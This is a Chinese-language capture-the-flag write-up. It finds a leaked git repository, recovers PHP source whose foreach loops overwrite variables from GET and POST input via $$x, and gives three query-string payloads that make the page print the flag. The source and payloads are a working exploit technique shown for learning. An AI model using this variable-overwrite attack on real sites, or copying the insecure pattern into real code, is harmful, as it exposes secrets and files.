进入环境
一个啥也没用的网页
dirsearch扫描发现git泄露
githack下载下来
有一个flag.php,一个index.php
flag.php
<?php
$flag = file_get_contents('/flag');
//把flag文件读取字符串赋给变量$flag
?>
index.php 最下面有php代码
<?php
include 'flag.php'; //有$flag
$yds = "dog";
$is = "cat";
$handsome = 'yds';
//变量覆盖
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
//$x=>$y $x键名 $y键值
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //flag要等于键名,且键名不能等于flag
exit($handsome); //输出$handsome
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //get和post都没有传参$flag
exit($yds); 输出$yds
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //get或者post传参flag要等于flag
exit($is); //输出$is
}
//无法绕过上面进到下面的echo
echo "the flag is: ".$flag;
?>
一:
payload:
?handsome=flag&flag=handsome
先进行变量覆盖,$handsome=$flag,$flag=$handsome=$flag
即现在$handsome=$flag,$flag=$flag
然后进到下面if判断,我们传参的$flag=$handsome=$flag,$x=$handsome=$flag相等没毛病,$x=$handsome=$flag!='flag'也没毛病
然后输出$handsome=$flag,就输出我们要的flag了
二
不能传flag参数,那么我就直接把$yds通过变量覆盖使其$yds=$flag,即payload:
?yds=flag
三
get或者post传一个flag=flag,然后再令$is变量覆盖变成$flag,就可以得到我们要的flag